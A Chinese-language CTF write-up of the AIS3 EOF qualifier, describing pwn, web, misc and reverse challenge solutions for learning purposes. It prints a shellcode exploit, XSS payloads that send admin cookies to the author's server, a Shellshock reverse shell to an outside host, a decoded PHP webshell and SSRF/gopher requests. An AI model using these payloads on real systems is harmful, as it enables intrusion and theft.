AIS3 EOF CTF 初賽

前言

這場比賽是跟台大、交大、台科大三校的計算機安全課程期末考一起辦的

然後任何人都可以報名參加

前十名的隊伍可以進決賽

Pwn

由於我們這隊基本上沒人熟Heap 囧

我也只摸了幾題課程網站的練習題

所以Pwn的解題狀況蠻慘的

Magicheap2這種一堆人解掉的題目,我們就解不出來

writeme

這題可以把你輸入位址的值印出來

然後可以蓋掉這個位址的值

整個就很水,輕鬆任意讀寫

直接Hijack got就行惹

(印出puts got內容算libc base,然後蓋成One gadget)

Bingo

這題洞還蠻明顯的

可是我們在最後一步一直鬼打牆

所以我第三天一直在搞這題,然後就沒時間碰其他題惹QQ

首先,因為這題rand用同個seed

所以每次bingo的答案都一樣


然後這題沒開DEP,所以可以跳到Stack上執行

又剛好的,他輸出Bingo的地方是用%s

只要不讓他有NULL Byte,就可以leak stack位址

看到這邊,就很直覺想到,塞shellcode進去Bingo buffer

然後最後再跳到這個Buffer上執行就可惹

但是這題有個麻煩的地方

就是他一次輸入4 bytes,輸入16次

但是他會做NumberCheck

先把4 bytes用atoi()轉成數字

然後會檢查這個數字有沒有出現過、有沒有介於0 ~ 200

這邊因為atoi的關係,前面一定要塞數字(或+, -)讀出來才不會是0

e.g. atoi("abc5566") = 0atoi("123abc") = 123atoi(" \r\t87") = 87



只要讓16個數字中的8個數字對,剩下都可以隨便填符合check的字元

再加上他最後會從buffer[60]讀24 Bytes,其中到return address的padding是12 bytes

但是因為12 Bytes太短,勢必一定要構造一段去填前面的部分,就要湊到符合numbercheck

我們最主要就卡在這邊的構造shellcode (可能平常練太少QQ

後來找了一個21 bytes的shellcode來改

有幾個關鍵:

  1. 其中一次輸入的4個Bytes可以全部都不為數字(會被當成0)

  2. 因為Buffer在stack上,所以shellcode的push/pop可能搞壞shellcode buffer

  3. 有一些數字開頭的指令(有的沒用到可以當成NOP)

例如:

\x32\x3e => xor bh,BYTE PTR [rsi]

\x34\x35 => xor al,0x35

\x32\x36 => xor dh,BYTE PTR [rsi]

\x32\x38 => xor bh,BYTE PTR [rax]

\x31\xf6 => xor esi,esi

塞這種在開頭,後面就能多串2 Bytes shellcode

或是例如\x34\x35就可以串成:XXX\x34+\x35YYY,其對應05 (X和Y為非數字)

某些狀況也可以用「1 Byte」的指令,例如:

\x5c => pop rsp

\x5d => pop rbp

根據以上幾點,改一下21 bytes的execve("/bin//sh")的shellcode就能拿shell惹

不過我們最後是沒有拿到這一題的分數啦

為啥? 因為我比完10分鐘才拿到shell啊

崩╰(〒皿〒)╯潰

Debug速度太慢+上電腦剛好爛掉,比完才發現syscall時rsi忘記清乾淨

改了2 Bytes,換成\x31\xf6就成功拿到shell惹

exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import random
r = remote("35.201.132.60", 12001)
nop = "\x32\x2e"
nop2 = "\x34\x35"
nop3 = "\x32\x36"
nop4 = "\x32\x38"
pop_rbp = "\x5d"
xor_esi_esi = "\x31\xf6" # xor esi, esi
# original shellcode: \xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05
payload = "87" + pop_rbp + nop3 + pop_rbp + "\xf7\xe6" + xor_esi_esi + "\x48\xbf\x2f\x62\x69\x6e126 \x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
r.sendline("183") # 1
r.sendline("86") # 2
r.sendline("177") # 3
r.sendline("115") # 4
r.sendline("193") # 5
r.sendline("135") # 6
r.sendline("186") # 7
r.sendline("92") # 8
r.sendline("49") # 9
r.sendline("21") # 10
r.sendline("162") # 11
r.send(payload)
r.recvuntil("126 ") # use 4 bytes to leak stack address
s = u64(r.readline()[:8].strip().ljust(8, "\x00"))
print "Stack: ", hex(s)
target = s - 64 + 11 * 3 - 3
print "Target: ",hex(target)
r.send(p64(target) + "aaaa")
sleep(0.1)
r.interactive()

FLAG{THIS_challenge_is_too_easy_QQ}

Update:

這題其實不用這麼麻煩 (全世界應該只有我這樣解吧…

shellcode直接寫read(12 bytes長度夠寫),然後讓他寫在stack接下去的地方

這樣就不用管啥numbercheck或長度限制惹 QQ


Web

Web部分主要是我負責的

其他人對這領域也幾乎不熟

但是我平常沒啥在碰前端,因為不太喜歡javascript (X

所以看到一堆XSS題,也是一個傻眼貓咪

然後也沒人可以討論QQ

xssme

這題一開始我卡在輸入驗證碼的地方

我以為要自己寫code算 (懶

沒想到旁邊那個按鈕點下去就會開始算惹

這題很多地方都可以XSS,例如username顯示的地方和寄信的內容

可是我們主要是要XSS admin,但信件的usernmae不能XSS

所以目標很明確是在內容部分

比較麻煩的地方是,這題擋了很多東西,例如:

<script, <iframe, innerHTML, ), }, .open, document.write, onerror, XMLHttprequest

我自己繞的方法是:

<svg/onload="XXX"> XXX可以塞javascript

所以為了leak admin cookie,就要想辦法把資料傳出來

我的payload:

<svg/onload="document.location='http://kaibro.tw/log.php?c='+document.cookie">

這樣admin看到就會跳轉到我的Server,並夾帶cookie當參數

我只要去Server收log就行惹

拿到之後,可以看到cookie中就有這題的flag惹

FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}

webshell

這題打開來,會看到一堆空白行

拉到最底,可以看到一段php code

主要就是解密一段字串,然後執行

一般webshell為了掩人耳目,時常會這樣子簡單的加密

這邊要還原回去很簡單,把前面的eval改成echo

就會把解密出的code印出來

大概長這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function run()
{
if(isset($_GET['cmd']) && isset($_GET['sig'])) {
$cmd = hash('SHA512', $_SERVER['REMOTE_ADDR']) ^ (string)$_GET['cmd'];
$key = $_SERVER['HTTP_USER_AGENT'] . sha1($_SERVER['HTTP_HOST']);
$sig = hash_hmac('SHA512', $cmd, $key);
if($sig === (string)$_GET['sig']) {
header('Content-Type: text/plain');
return !!system($cmd);
}
}
return false;
}
function fuck() {
print(str_repeat("\n", 4096));
readfile($_SERVER['SCRIPT_FILENAME']);
}
run() ?: fuck();

很明顯的,run的部分是webshell的密碼部分

要想辦法輸入符合的密碼,才能執行command

這裡他的$cmd變數是SHA512(使用者IP) xor $_GET['cmd']

然後$keyUserAgent + SHA1(Server Host)

最後我們輸入的$_GET['sig']要等於hash_mac('SHA512', $cmd, $key)才會跑system($cmd)

這裡的話,假設我們要執行的是ls

那代表$cmd,也就是SHA512(使用者IP) xor $_GET['cmd']要為ls

而對於同個使用者來說,IP可以暫且視為不變的,可控的部分為$_GET['cmd']

所以為了讓結果變成ls,我們要輸入的$_GET['cmd']SHA512(使用者IP) xor 'ls'

這邊XOR出來的結果可能是一些亂碼,輸出查看時可以先把他hex過

要餵給Server時,可以用URL encode

最後$sig的部分就很簡單,直接算hash_mac('SHA512', $cmd, $key)結果塞進去就行

接著就是把flag讀出來就行

我的產payload script:

1
2
3
4
5
6
7
8
9
10
<?php
$cmd = $_GET['c'];
$s = hash('SHA512',$_SERVER['REMOTE_ADDR']) ^ $cmd;
$key = $_SERVER['HTTP_USER_AGENT'] . sha1("webshell.eof-ctf.ais3.ntu.st");
$sig = hash_hmac('SHA512', $cmd, $key);
echo "input sig: ".$sig;
echo "<br>";
echo "input cmd: ".urlencode($s);

FLAG{Webshell? I only know sea shell~!}

command executor

這題的話,他是一個有很多功能的網頁

大概有這些功能:

  1. 執行man指令

  2. 上傳一個tar檔,然後test他,但不會解壓縮

  3. 執行envls

  4. ls list目錄

第一個踹的當然是Command Injection

但很明顯擋掉惹

然後看到上傳壓縮檔,我第一個直覺是之前某場比賽上傳symbolic link讀檔的招

可是這邊他不會解壓縮,只有測試而已

再來envls這個地方,很明顯是想暗示啥

後來才知道是想告訴我們可以shellshock

source code中blacklist的地方也有很明顯的暗示

最後ls list目錄的地方,可以看到/下面有flag-readerflag

很明顯是告訴我們要拿shell才讀得到

然後這邊參數也可以LFI,可以用php://filter去讀source code

https://command-executor.eof-ctf.ais3.ntu.st/index.php?func=php://filter/convert.base64-encode/resource=index

把幾個php檔大致讀了一遍之後,似乎沒啥重大發現

接著我就跑去踹man了

我原本以為他想考man -P /bin/cat /etc/passwd可以執行指令XD

可是看了Source Code後,發現應該不是這個思路

踹了一下,又發現原來man /etc/passwd可以直接讀檔XDD

翻箱倒櫃了一下,也沒發現啥東西

後來才知道,要用shellshock去執行指令

然後想辦法去成功跑/flag-reader /flag

他裡面有很煩人的random value,要塞回去


不過

這題我不是這樣拿到flag的

我當初在解的時候,一直以為這題跟AIS3 jar一樣

要上傳一個php,然後卡住連線,再去LFI它 (但我自己試是沒有成功啦QQ)

所以那時候我就一直ls /tmp看有沒有人這樣搞XDD

結果等了一陣子,還真的給我等到了

出現了一個k.php (可能是某人拿了shell後寫入的)

然後我直接LFI include它,奇蹟就發生了

Flag就噴出來了 WTF XDDDDD

FLAG{W0w U sh0cked m3 by 5h3115h0ck}

(我們這隊好像第二還第三個解掉這題的XD)

而且那個人後來還不把那個php刪掉,我猜應該有一堆人看到

不過我後來還是有自己玩一遍shellshock啦XD

他有擋最常見的那種payload

可是可以() { :a; }; echo 1塞個東西就繞過惹

() { :a; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5278 0>&1'

直接Reverse Shell

然後就是想辦法塞/flag-reader的Random value回去惹

塞回去就會噴flag惹

xssrf leak

這題我第一天看到時

就在猜測也許是PhantomJS前陣子那個漏洞

(PhantomJS可以從它送來的Request判斷)

Update:

最後確認這題不是單純這樣而已XD

我果然太天真惹QAQ

重點好像是admin panel有地方可以SSRF

然後可以用file://去讀

就能把FLAG讀出來 再寄給user這樣

然後我一直卡在繞不過他的過濾= =

踹不到後面的東西,頂多讀到admin有set admin跟request而已

我比賽中還真的沒想到能用HTML entity繞 囧

所以我就一直用xssme那題的payload一直改、一直想辦法繞

不過我後來是有成功用innerHTML構造出iframe:

<svg/onload="document.body.childNodes[1].\u0069nnerHTML='<\u0069frame src=http://kaibro.tw/frame></iframe>'">

不過沒鳥用,比賽中沒繞掉括號,很多東西都不能用QQ

第三天都在搞Pwn,最後還是沒解出來這題 慘QQ


Update2:

後來無聊再去把這題解掉了

我一樣是用<svg>onload去執行javascript,然後發request到我的Server收log

只是這邊因為使用&#xH;(Hex)的形式會被解碼,所以我們直接把所有onload裡面的javascript code用這種方式編碼

這樣直接輕鬆繞過過濾惹

以下的Payload為了方便閱讀,我就用&#xH;編碼前的樣子表示

Payload:

<svg onload="document.location='http://kaibro.tw/log.php?c='+btoa(document.body.innerHTML)">

然後再把Server上收到的log做base64 decode,就能看到admin panel的樣子惹

可以看到有sentmail.php, setadmin.php, request.php, sendmail.php, mailbox.php

比較特別的應該是setadmin.phprequest.php這兩個

但由於admin限制本機才能訪問,所以setadmin.php應該是沒啥用

request.php是啥

用XHR就可以送Request去訪問這個頁面,就能看Response長啥樣惹

Payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://kaibro.tw/log.php?c='+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

可以看到頁面比較重要的部分大概長這樣:

1
2
3
4
5
6
7
<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</div>
<button class="btn btn-primary">Send Request</button>
</form>

看起來似乎就如同字面上意思,能發request的頁面

試試看下面這種:

1
2
3
4
5
6
7
8
9
10
11
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://kaibro.tw/log.php?c='+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");

然後就成功讀檔了,看來這邊可以SSRF

翻了一下,會發現FLAG藏在/var/www/html/config.php

然後,最後一題Redis就是單純改成用gopher去做未授權訪問

類似這樣

gopher://127.0.0.1:25566/_KEYS%2520*%250a_QUIT


Misc

Python2Easy

Python2Easy?

這兩題misc的話,一開始我們想說可以去hijack他import進來的東西

可是secret.py不能讀寫,其他東西也改不到

卡了一陣子

後來才知道.pyc時間戳記相同時,會優先使用

我們就可以去蓋掉secret.pyc來hijack

時間戳記讓他跟leak出來的一樣

這樣reload時可以蓋掉Key噴第一題flag,或是直接在secret.pyc執行任意指令


Reverse

Reverse主要是@JxCode在解的

我花比較多時間的,是在踩地雷那題

simple

一開始scanf要打"zero"

然後call 要跳到XDDD()

環境變數要叫做"rockman"

繞過debugger偵測

打開notepad

然後它會把flag印在notepad上

MOSburger

輸入money$

跳出對話框寫

Are you hungry? I've brought you something from MOS burger. The binary flag in in it! :)

輸入之後他在windows的%TEMP%\MOS_burger.txt寫東西

內容如下

1
----- .---- ----- ----- ----- .---- .---- ----- ----- .---- ----- ----- .---- .---- ----- ----- ----- .---- ----- ----- ----- ----- ----- .---- ----- .---- ----- ----- ----- .---- .---- .---- ----- .---- .---- .---- .---- ----- .---- .---- ----- .---- ----- ----- .---- ----- ----- .---- ----- ----- .---- ----- ----- .---- .---- .---- ----- .---- .---- ----- .---- .---- ----- .---- ----- ----- .---- ----- ----- ----- ----- ----- ----- .---- .---- ----- .---- .---- .---- ----- ----- .---- .---- ----- .---- .---- .---- .---- ----- .---- .---- .---- ----- .---- ----- ----- ----- ----- .---- ----- ----- ----- ----- ----- ----- .---- .---- ----- .---- ----- ----- ----- ----- .---- .---- .---- ----- .---- ----- .---- ----- .---- .---- ----- .---- .---- .---- ----- ----- .---- .---- ----- ----- .---- .---- .---- ----- .---- .---- .---- ----- ----- .---- ----- ----- .---- .---- .---- .---- ----- ----- .---- ----- ----- .---- .---- .---- ----- .---- ----- ----- ----- .---- ----- .---- ----- ----- ----- ----- .---- .---- .---- .---- .---- ----- .----

87%就是摩斯密碼:

-----=>0

.---- => 1

轉出來變01000110010011000100000101000111011110110100100100100111011011010010000001101110011011110111010000100000011010000111010101101110011001110111001001111001001110100010100001111101

接著轉成Ascii

Ruby:

1
2
3
data = "01000110010011000100000101000111011110110100100100100111011011010010000001101110011011110111010000100000011010000111010101101110011001110111001001111001001110100010100001111101"
puts data.scan(/[01]{8}/).map { |e| e.to_i 2 }.inject '', &:concat

FLAG{I'm not hungry:(}

AEG

這題主要是隊友解的,我還沒看就解掉惹XD

這題一開始連上去會出現一串hex字串

1
2
a239030d04d6993e8afcc0201251d84712d6383bbe14b420a34d3e66d092b436c2d0393522b299a489f55ca37e1d5927454631c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05

接著印出連過去的binary的base64

把binary抓下來看發現他會比對你的輸入是否跟他想要的一樣

然後執行輸入的後半段 當作shellcode


比對後發現一開始吐的那串hex的前100個char就傳一樣的回去給他

101個char以後的就是直接被當成shellcode執行

但是101以後的那段他會打亂順序

所以要從他給的base64的那個binary得知他怎麼打亂順序的


把他base64那串抓下來執行

前一百個維持不變,後面幾個打01020304…這樣的字串下去,用gdb看他怎麼跳順序

然後把shellcode改成他的順序送過去,就能執行任意shellcode拿shell惹

singlehell

這題是打怪遊戲,可是怪物血量太多,手動不可能贏

然後這題直接objdump或ida會爛掉

我後來直接strings ./client發現最底下出現UPX

就猜他有upx殼

由於沒脫過upx,谷歌一陣子之後

才知道upx -d ./client就能直接脫光光了

之後就能輕鬆Reverse了,把攻擊力改大,血量鎖死就能打死怪惹

MindSweeper

看到這題,我一開始以為過關就會噴FLAG

所以一開始還去找那種自動掃雷的外掛XD

不過後來知道踩地雷裡面,有地雷跟沒地雷會用0x8f0x0f來表示

所以直接用CE去搜盤面,就可以找到當前盤面位址

把其中一格改成0x0f,點擊下去就會過關了

然後過關之後,就會發現下一關的地雷文字改變了

可以推測一直過關下去,把全部文字Dump出來就能得到FLAG惹

所以我另外搜了一下當前關卡數的count值

直接修改它,就能到特定關卡數

然後由前幾Bytes推測他應該是壓縮檔,原本想說手動踹一下

但後來我跟了一下,有個地方做了一個比較

比較相等就會彈出Are u a hacker?o_O之類的MessageBox

然後遊戲就Over惹

故可以推測這個比較的值是壓縮檔總長度

看了一下,這個長度值居然10萬多,嚇到吃手手

原本想說寫個程式跑完所有關卡,過程中用OCR讀

但有10萬多個Bytes,一秒讀一個Bytes要讀一天以上R…

所以後來就有點放棄這題惹QQ

code太長,跟不太下去


結論

其實這場比賽第一天、第二天都打得還不錯

大概都能維持在前十名上下

可是第三天不知為啥一堆人突然爆衝= =

一下子就被擠到1x名

就連第二天還沒幾個人解掉的xssrf leak都突然一堆人解

很好奇是真的那麼剛好最後一天大家突然都想到解法嗎QQ

不過最主要還是只能怪自己太廢,平時練習不夠

以Web來說平常練習太專注在後端安全,沒顧到前端QQ 這好像是我第一次打XSS題..

以Pwn來說,寫shellcode的速度太慢,以致於老早就找到洞卻卡很久,少200分QQ

以Reverse來說,對一堆太複雜的運算組語還是有點看不太下去,工具熟練度也不夠

我會用力記得這次的教訓好好加強的QAQ



還有一個很悲劇的點是

因為是期末考的關係,基本上沒辦法跨校組隊,也不能組沒修課的

所以也不能找自己平常一起打CTF的隊友組

導致臨時組的隊友可能會的領域重複率太高

結果比賽中可能一個人要負責很多個領域,沒辦法專注在自己強的領域QQ

整體來說是個有點慘的一場比賽,也跟我想得一樣輸贏關鍵還是在Pwn

不過也是有學到一些東西,很多有趣的題目

如果加上Bingo那題的話,我們總共解了11題

最後還是很感謝隊友~